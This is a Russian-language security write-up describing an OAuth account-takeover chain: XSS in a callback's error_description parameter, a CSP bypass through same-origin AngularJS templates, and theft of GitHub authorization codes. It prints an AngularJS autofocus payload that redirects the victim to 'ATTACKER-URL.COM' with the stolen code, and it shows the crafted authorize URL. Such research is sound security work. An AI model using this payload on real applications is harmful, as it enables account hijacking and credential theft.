XSS в URL обратного вызова OAuth с обходом CSP, приводящий к захвату аккаунта без взаимодействия
Введение
В одном из недавних проектов я столкнулся с серией на первый взгляд незначительных уязвимостей. Однако, когда эти проблемы были объединены, они создали серьезный риск безопасности — уязвимость, позволяющую захватить учетную запись без какого-либо взаимодействия со стороны пользователя. Основной виновник — URL обратного вызова OAuth, в котором при детальном рассмотрении обнаруживается несколько проблем.
В этой статье будет подробно рассмотрен URL обратного вызова OAuth, шаг за шагом мы разберем каждую проблему и объясним цепочку событий, которая позволила проэксплуатировать эти уязвимости. Наша цель — предоставить пример из реальной жизни, который подчеркивает потенциальные угрозы как для безопасности веб-приложений, так и для данных пользователей.
Что такое OAuth?
OAuth — это широко используемый протокол, который позволяет приложениям облегчить вход пользователей через учетные записи популярных поставщиков, таких как Google или GitHub. Процесс OAuth авторизации состоит из нескольких ключевых шагов:
- Запрос пользователя на доступ: Все начинается с того, что пользователь, известный как Владелец ресурса (Resource Owner, RO), запрашивает доступ к определенному ресурсу.
- Перенаправление приложения: Приложение, или Клиент (Client, RP), затем инициирует перенаправление, направляя User Agent (UA), обычно веб-браузер, на Сервер авторизации (Authorization Server, AS), которым может быть AzureAD, Okta, Cognito, Google или другой доверенный сервер, способный предоставить доступ.
- Запрос пользователя на доступ: Владелец ресурса (Resource Owner, RO) взаимодействует с Сервером авторизации и предоставляет одобрение для запрошенного доступа.
- Выдача токена: После получения согласия RO AS генерирует и отправляет токен доступа обратно Клиенту.
- Использование токена для доступа к данным: Имея токен доступа, Клиент безопасно получает доступ к данным пользователя или защищенным ресурсам на Сервере ресурсов (Resource Server, RS).
XSS в URL обратного вызова OAuth
Обнаружение инъекции
Во время регулярного оценивания безопасности проверяется каждый шаг процесса аутентификации приложения в поисках потенциальных уязвимостей или неправильных конфигураций. В данном случае особое внимание привлек финальный шаг: URL обратного вызова OAuth. Этот URL служит конечной точкой, на которую провайдер OAuth перенаправляет пользователя после аутентификации.
Обычно URL обратного вызова выглядит следующим образом:
https://example.com/callback?code=AUTHORIZATION_CODE
Однако, мы наткнулись на важную деталь: тот же URL обратного вызова использовался для отображения сообщений об ошибках. Например, когда GitHub не мог авторизовать пользователя, он перенаправлял его на URL обратного вызова с сообщением об ошибке:
https://example.com/github/ofg/callback?error=redirect_uri_mismatch&error_description=Wrong+URI
Мы заметили, что любой текст мог быть внедрен в параметр error_description, и он отображался на странице.
Обход CSP
Обычно первое, что надо сделать, когда появляется возможность внедрить любой текст на страницу — это попытаться выполнить атаку XSS (Cross-Site Scripting). Но на этот раз политика CSP (Content Security Policy) приложения была очень строгой и не позволяла выполнять встроенные скрипты:
Чтобы обойти CSP, мы воспользовались тем, что приложение использовало AngularJS, библиотека которого подгружалась с того же домена. Это позволило загрузить библиотеку AngularJS, не нарушая CSP. Затем мы смогли использовать функции шаблонов Angular для внедрения вредоносного кода.
Процесс создания полезной нагрузки включал импорт библиотеки AngularJS и использование директив Angular для инициирования полезной нагрузки с использованием объекта $event.view, который предоставлял доступ к объекту window. Этот подход эффективно обходил CSP, позволяя нам выполнить нашу нагрузку.
Финальная полезная нагрузка выглядела следующим образом:
Затем мы закодировали полезную нагрузку в URL-формат и внедрили ее в параметр error_description. Когда этот URL открывается, код выполняется несмотря на CSP.
Использование XSS для кражи OAuth-кодов
GitHub OAuth использует конкретный URL авторизации для предоставления кода ответа и осуществления перенаправления на URL обратного вызова.
Этот URL обратного вызова проверяется, поэтому невозможно перенаправить пользователей на вредоносные домены для кражи кода ответа, который возвращается в виде параметра.
Тем не менее, как было обнаружено ранее, приложение использует один и тот же URL как для обратных вызовов OAuth, так и для отображения ошибок OAuth. Учитывая, что страница ошибки уязвима к XSS, появляется возможность украсть OAuth-код ответа через внедрение вредоносного кода.
Процесс авторизации OAuth включает следующие шаги:
- Пользователь переходит по URL авторизации GitHub.
- Если пользователь уже авторизован, его перенаправляют на URL обратного вызова с кодом.
- Обратный вызов проверяет код и выдает сессионные куки.Запрос авторизации и перенаправления на GitHub выглядят следующим образом:
Код из ответа выше используется для выдачи куки приложения:
Хотя параметр redirect_uri проходит проверку, разрешая только белые списки URL обратного вызова, параметры внутри URL обратного вызова остаются непроверенными.
Эта уязвимость эксплуатируется путем добавления дополнительных параметров к белому списку URL обратного вызова, например, ?error=q%26error_description=blahblah. Эта манипуляция заставляет приложение отображать страницу ошибки, сохраняя при этом действительный код ответа OAuth.
Как было указано ранее, страница ошибки имеет уязвимость XSS, которая может быть использована для захвата OAuth-кода. Полезная нагрузка XSS структурирована таким образом, чтобы перенаправить пользователя на домен, контролируемый злоумышленником, и использовать код ответа OAuth в качестве пути:
<!DOCTYPE html > < html > < head > < meta charset = ”utf-8 " /> < title > Захват учетной записи Zero Click </ title > < meta name = ”description” content = ”” /> < meta name = ”viewport” content = ”width = device-width” /> < base href = ”/” /> < script src = ”lib/socket.io.min.js” > </ script > </ head > < body > < script src = ”scripts/vendor-31****a1.js” > </ script > < div ng-app = ”” ng-init = ”” > < input ng-on-focus = ”$event.view.location = 'https://ATTACKER-URL.COM/ ' % 2b $ event.view.location.search.slice ( 1 ) .split ('% 26 ')[ 2 ] .split ('= ')[1]” автофокус /> </ div > </ body > </ html >
Полезная нагрузка должна быть закодирована в URL-формат, с дважды закодированными символами «+» и «&» из-за множественных перенаправлений.
Затем необходимо добавить закодированную полезную нагрузку в параметр error_description URL перенаправления (URL обратного вызова).
https://github.com/login/oauth/authorize?response_type=code&redirect_uri=https://example.com/auth/github/ofg/callback?error=q%26error_description=XSS_PAYLOAD_HERE&scope=repo%2Cread%3Aorg%2Cdelete_repo% 2Cworkflow%2Cuser%3Aemail&client_id=*************
Когда ранее авторизованный пользователь заходит на вредоносный URL, происходит следующая последовательность событий:
- GitHub получает запрос на авторизацию.
- GitHub проверяет действительность URL.
- Поскольку пользователь уже авторизован, GitHub выдает код ответа, прикрепляет его к URL обратного вызова и перенаправляет пользователя.
- При достижении страницы выполняется XSS, извлекающий OAuth-код из параметра и передающий его на сервер злоумышленника.Запрос авторизации на GitHub. Перенаправление на страницу ошибки, но с сохранением действительного кода в URL.
Браузер пользователя выполняет XSS и отправляет код с параметра на удаленный сервер:
Злоумышленник получает OAuth-код:
Этот код быть использован для несанкционированного доступа к приложению:
https://example.com/auth/github/ofg/callback?code=CODE_HERE
Заключение
В этом исследовании мы разобрали как серия незначительных проблем, при их комбинировании, может привести к критическому сценарию захвата учетной записи. Погружаясь в тонкости OAuth, разрабатывая стратегию обхода ограничений политики Content Security Policy (CSP) и эксплуатируя уязвимость XSS, мы продемонстрировали эффект домино, который может привести к полномасштабному нарушению безопасности.